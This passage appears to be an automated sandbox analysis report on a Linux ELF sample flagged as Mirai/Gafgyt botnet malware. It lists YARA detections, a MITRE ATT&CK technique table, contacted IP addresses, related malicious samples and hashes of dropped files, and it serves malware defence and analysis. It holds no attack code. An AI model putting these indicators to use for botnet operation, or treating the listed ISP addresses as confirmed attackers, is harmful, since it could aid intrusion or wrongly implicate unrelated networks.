Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.424] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.613] (II) vmware(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): mwidt: 1176
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.118] (II) vmware(0): Modeline "1152x864"x85.1 121.50 1152 1216 1344 1568 864 865 868 911 +hsync -vsync (77.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Default visual is TrueColor
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "720x400"x85.0 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (37.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event3)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.192] (II) vmware(0): Modeline "1024x768"x75.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x85.0 119.65 1152 1224 1352 1552 864 865 868 907 -hsync +vsync (77.1 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 180.073] (WW) vmware(0): Disabling 3D support.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.700] (II) vmware(0): Not using default mode "1360x768" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.056] (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.166] (--) vmware(0): caps: 0xFDFF83E2
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.655] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "960x540": 40.8 MHz, 33.5 kHz, 59.6 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.251] (II) vmware(0): Modeline "800x600"x85.1 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (53.7 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.294] (II) vmware(0): Modeline "800x600"x56.2 36.00 800 824 896 1024 600 601 603 625 +hsync +vsync (35.2 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.266] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.167] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1152x864"x100.0 143.47 1152 1232 1360 1568 864 865 868 915 -hsync +vsync (91.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.232] (II) vmware(0): Modeline "832x624"x74.6 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.180] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 119.7 MHz, 77.1 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.517] (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.941] (II) event2 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.356] (II) vmware(0): Not using default mode "360x200" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "800x450" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "864x486"x59.9 32.50 864 888 968 1072 486 489 494 506 -hsync +vsync (30.3 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.172] (**) vmware(0): Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.976] (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.375] (**) vmware(0): Default mode "640x360": 18.0 MHz, 22.5 kHz, 59.8 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 108.0 MHz, 67.5 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.770] (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.676] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1024x576": 46.5 MHz, 35.9 kHz, 59.9 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.721] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:13 galassia /usr/lib/gdm3/gdm-x-session[5787]: (EE) vmware(0): Failed to open drm.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.456] (II) vmware(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)

Language, Device and Operating System Detection

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 5701)

Logged in records file read: /var/log/wtmp

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Fantazy.x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5474, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5475, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5477, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5478, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Fantazy.x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5474, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5475, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5477, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fantazy.x86_64.elf PID: 5478, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 System Owner/User Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Indicator Removal	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fantazy.x86_64.elf	54%	ReversingLabs	Linux.Trojan.Gafgyt
Fantazy.x86_64.elf	100%	Avira	EXP/ELF.Gafgyt.Z.A

Name	Source	Malicious	Reputation
https://www.rsyslog.com	syslog.50.dr	false	high
http://schemas.xmlsoap.org/soap/encoding/	Fantazy.x86_64.elf	false	high
http://wiki.x.org	Xorg.0.log.159.dr, syslog.50.dr	false	high
http://www.ubuntu.com/support)	Xorg.0.log.159.dr, syslog.50.dr	false	high
http://schemas.xmlsoap.org/soap/envelope/	Fantazy.x86_64.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
158.220.113.113	unknown	Switzerland	8556	LEVANTISCH	false
197.254.119.42	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
157.251.90.253	unknown	United States	32934	FACEBOOKUS	false
197.31.140.185	unknown	Tunisia	37492	ORANGE-TN	false
41.72.57.36	unknown	Angola	37155	NETONEAO	false
122.250.100.0	unknown	Japan	18077	C-ABLEYamaguchiCableVisionCoLtdJP	false
157.182.20.42	unknown	United States	12118	WVUUS	false
197.51.4.204	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.38.56.205	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.161.91.5	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.82.8.199	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
41.136.251.161	unknown	Mauritius	23889	MauritiusTelecomMU	false
153.162.81.77	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.239.218.47	unknown	Egypt	8452	TE-ASTE-ASEG	false
96.155.150.182	unknown	United States	7922	COMCAST-7922US	false
41.35.82.73	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.43.98.164	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.126.102.215	unknown	United States	1738	OKOBANK-ASEU	false
41.230.50.140	unknown	Tunisia	37705	TOPNETTN	true
89.70.153.205	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
125.105.158.129	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
209.228.59.43	unknown	United States	7029	WINDSTREAMUS	false
197.180.156.24	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.196.64.239	unknown	Egypt	36992	ETISALAT-MISREG	false
41.183.48.235	unknown	South Africa	37028	FNBCONNECTZA	false
169.146.44.245	unknown	United States	32895	MILLIKEN-COMPANY-ASN1US	false
164.125.74.63	unknown	Korea Republic of	9274	PUSAN-AS-KRPusanNationalUniversityKR	false
24.164.236.101	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.235.57.15	unknown	Mozambique	37223	VODACOM-MZ	false
205.255.98.129	unknown	United States	10801	REGIONS-ASN-1US	false
41.225.189.151	unknown	Tunisia	37671	GLOBALNET-ASTN	false
115.36.224.113	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false
41.106.102.9	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.17.114.187	unknown	Tunisia	37693	TUNISIANATN	false
111.136.95.12	unknown	China	134810	CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco	false
41.227.43.44	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
74.128.172.45	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.150.35.154	unknown	South Africa	5713	SAIX-NETZA	false
197.32.129.176	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.138.225	unknown	South Africa	5713	SAIX-NETZA	false
81.113.161.64	unknown	Italy	20959	TELECOM-ITALIA-DATA-COMIT	false
157.44.166.60	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.8.143.200	unknown	Tunisia	5438	ATI-TN	false
157.214.103.160	unknown	United States	4704	SANNETRakutenMobileIncJP	false
114.183.9.223	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
46.208.117.193	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
100.34.123.112	unknown	United States	701	UUNETUS	false
41.8.195.175	unknown	South Africa	29975	VODACOM-ZA	false
85.45.213.175	unknown	Italy	3269	ASN-IBSNAZIT	false
41.90.0.232	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
107.87.75.171	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
27.206.210.79	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.248.235.177	unknown	Morocco	36903	MT-MPLSMA	false
208.255.110.129	unknown	United States	11486	COLO-PREM-VZBUS	false
122.98.4.254	unknown	India	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.89.97.47	unknown	South Africa	10474	OPTINETZA	false
168.191.58.129	unknown	United States	46255	CHARLOTTE-MECKLENBURG-SCHOOLS-NCUS	false
12.238.161.19	unknown	United States	7018	ATT-INTERNET4US	false
41.69.27.214	unknown	Egypt	24835	RAYA-ASEG	false
170.22.217.15	unknown	United States	6102	CBSCORPORATEUS	false
197.213.1.189	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.53.150.189	unknown	South Africa	37168	CELL-CZA	false
171.124.243.145	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
117.234.182.47	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
41.160.80.9	unknown	South Africa	36937	Neotel-ASZA	false
124.148.17.1	unknown	Australia	4739	INTERNODE-ASInternodePtyLtdAU	false
41.64.233.28	unknown	Egypt	36992	ETISALAT-MISREG	false
41.19.112.115	unknown	South Africa	29975	VODACOM-ZA	false
159.44.228.227	unknown	United States	25019	SAUDINETSTC-ASSA	false
84.169.57.85	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
76.216.83.13	unknown	United States	7018	ATT-INTERNET4US	false
159.7.180.255	unknown	Sweden	1906	NORTHROP-GRUMMANUS	false
120.171.58.224	unknown	Indonesia	4761	INDOSAT-INP-APINDOSATInternetNetworkProviderID	false
197.160.244.150	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.149.186.153	unknown	South Africa	5713	SAIX-NETZA	false
41.76.119.115	unknown	South Africa	37172	MITSOLZA	false
157.252.112.235	unknown	United States	3592	TRINCOLL-ASUS	false
41.102.102.238	unknown	Algeria	36947	ALGTEL-ASDZ	false
44.171.139.242	unknown	United States	198785	SEDMIODJEL-ASHR	false
197.204.9.234	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.249.194.150	unknown	Mozambique	25139	TVCABO-ASEU	false
190.209.187.94	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
41.158.217.63	unknown	Gabon	16058	Gabon-TelecomGA	false
68.44.215.208	unknown	United States	7922	COMCAST-7922US	false
41.49.7.150	unknown	South Africa	37168	CELL-CZA	false
213.103.207.54	unknown	Sweden	39651	COMHEM-SWEDENSE	false
41.190.90.164	unknown	Ghana	37140	zain-asGH	false
59.193.28.6	unknown	China	2516	KDDIKDDICORPORATIONJP	false
157.7.222.7	unknown	Japan	7506	INTERQGMOInternetIncJP	false
60.38.16.80	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.189.47.42	unknown	Congo The Democratic Republic of The	37598	EbaleCD	false
41.164.154.112	unknown	South Africa	36937	Neotel-ASZA	false
157.112.100.38	unknown	Japan	58793	NIFCLOUD-NETFUJITSUCLOUDTECHNOLOGIESLIMITEDJP	false
87.128.146.146	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
183.117.153.228	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.133.169.235	unknown	South Africa	10474	OPTINETZA	true
41.221.211.138	unknown	South Africa	3491	BTN-ASNUS	false
189.76.183.58	unknown	Brazil	28359	LMTIKOKAMIDE-SVABR	false
138.176.127.83	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
42.144.176.248	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.254.119.42	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	amd.o	Get hash	malicious	Mirai	Browse
	mir40.o	Get hash	malicious	Mirai	Browse
197.31.140.185	4E2ggD3VyS.elf	Get hash	malicious	Mirai	Browse
	nigga.arm7.elf	Get hash	malicious	Mirai	Browse
	CqTq62KCaq.elf	Get hash	malicious	Mirai, Moobot	Browse
41.72.57.36	9NBG1QPg4X.elf	Get hash	malicious	Mirai	Browse
41.72.57.36	cf03Q2J612.elf	Get hash	malicious	Mirai, Moobot	Browse
157.182.20.42	bot.x86_64-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse
	UxvONCLJJ4.elf	Get hash	malicious	Mirai, Moobot	Browse
197.51.4.204	debug.elf	Get hash	malicious	Mirai	Browse
	nshppc.elf	Get hash	malicious	Mirai	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.arm7-20230311-0506.elf	Get hash	malicious	Mirai	Browse
	zX8vKJqP7H.elf	Get hash	malicious	Mirai	Browse
	a9978gmF7i.elf	Get hash	malicious	Mirai	Browse
	UoJh7V1cxy.elf	Get hash	malicious	Mirai	Browse
	arm-20220403-1044	Get hash	malicious	Mirai Moobot	Browse
	x86	Get hash	malicious	Mirai	Browse
	Rubify.x86	Get hash	malicious	Mirai	Browse
41.239.218.47	3.elf	Get hash	malicious	Unknown	Browse
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse
	aqua.mips	Get hash	malicious	Gafgyt, Mirai	Browse
	arm7-20220620-2150	Get hash	malicious	Mirai	Browse
	Rubify.x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.35.79
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.35.40
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.11.91
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.60.31
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.254.107.54
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.59.30
	sora.arm.elf	Get hash	malicious	Mirai	Browse	197.254.120.11
	Fantazy.sh4.elf	Get hash	malicious	Unknown	Browse	197.254.119.31
	z0r0.m68k.elf	Get hash	malicious	Mirai	Browse	197.254.119.12
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	197.254.119.43
NETONEAO	.Sarm5.elf	Get hash	malicious	Mirai	Browse	41.72.45.46
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.33.82
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.45.59
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.33.35
	2.elf	Get hash	malicious	Unknown	Browse	41.72.45.71
	arm7	Get hash	malicious	Unknown	Browse	41.72.33.79
	main_arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.45.19
	mips.elf	Get hash	malicious	Mirai	Browse	41.72.21.71
	ppc.elf	Get hash	malicious	Mirai	Browse	41.72.45.74
	spc.elf	Get hash	malicious	Unknown	Browse	41.72.57.30
LEVANTISCH	jklspc.elf	Get hash	malicious	Unknown	Browse	158.220.51.144
	bot.arm5.elf	Get hash	malicious	Unknown	Browse	158.220.113.142
	17364916844504f65d4bfe953d71de0c5053d22d3f4e7dbfac8814436be895041288bc0bbb484.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	158.220.109.208
	pikaLdr.bin.exe	Get hash	malicious	Unknown	Browse	158.220.80.167
	pikaLdr.bin.exe	Get hash	malicious	Unknown	Browse	158.220.80.167
	jklx86.elf	Get hash	malicious	Unknown	Browse	158.220.98.126
	1.elf	Get hash	malicious	Unknown	Browse	158.221.77.138
	TRC.x86.elf	Get hash	malicious	Mirai	Browse	158.221.30.171
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	158.220.98.118
	teste.x86_64.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	158.220.98.130
ORANGE-TN	Owari.m68k.elf	Get hash	malicious	Unknown	Browse	160.159.96.203
	splm68k.elf	Get hash	malicious	Unknown	Browse	160.157.231.100
	nklmips.elf	Get hash	malicious	Unknown	Browse	196.224.36.144
	botnet.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	196.236.55.18
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.31.122.140
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	197.26.6.252
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	197.30.202.36
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.228.135.124
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.30.88.191
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.28.25.248

Process:	/usr/bin/pulseaudio
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.9219280948873623
Encrypted:	false
SSDEEP:	3:5bkPn:pkP
MD5:	FF001A15CE15CF062A3704CEA2991B5F
SHA1:	B06F6855F376C3245B82212AC73ADED55DFE5DEF
SHA-256:	C54830B41ECFA1B6FBDC30397188DDA86B7B200E62AEAC21AE694A6192DCC38A
SHA-512:	65EBF7C31F6F65713CE01B38A112E97D0AE64A6BD1DA40CE4C1B998F10CD3912EE1A48BB2B279B24493062118AAB3B8753742E2AF28E56A31A7AAB27DE80E7BF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	auto_null.

/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source

Download File

Process:	/usr/bin/pulseaudio
File Type:	ASCII text
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.4613201402110088
Encrypted:	false
SSDEEP:	3:5bkrIZsXvn:pkckv
MD5:	28FE6435F34B3367707BB1C5D5F6B430
SHA1:	EB8FE2D16BD6BBCCE106C94E4D284543B2573CF6
SHA-256:	721A37C69E555799B41D308849E8F8125441883AB021B723FED90A9B744F36C0
SHA-512:	6B6AB7C0979629D0FEF6BE47C5C6BCC367EDD0AAE3FC973F4DE2FD5F0A819C89E7656DB65D453B1B5398E54012B27EDFE02894AD87A7E0AF3A9C5F2EB24A9919
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	auto_null.monitor.

/proc/5734/oom_score_adj

Download File

Process:	/usr/bin/dbus-daemon
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

/proc/5737/oom_score_adj

Download File

Process:	/usr/bin/dbus-daemon
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

/proc/5739/oom_score_adj

Download File

Process:	/usr/bin/dbus-daemon
File Type:	Unknown
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

/proc/5741/oom_score_adj

Download File

Process:	/usr/bin/dbus-daemon
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
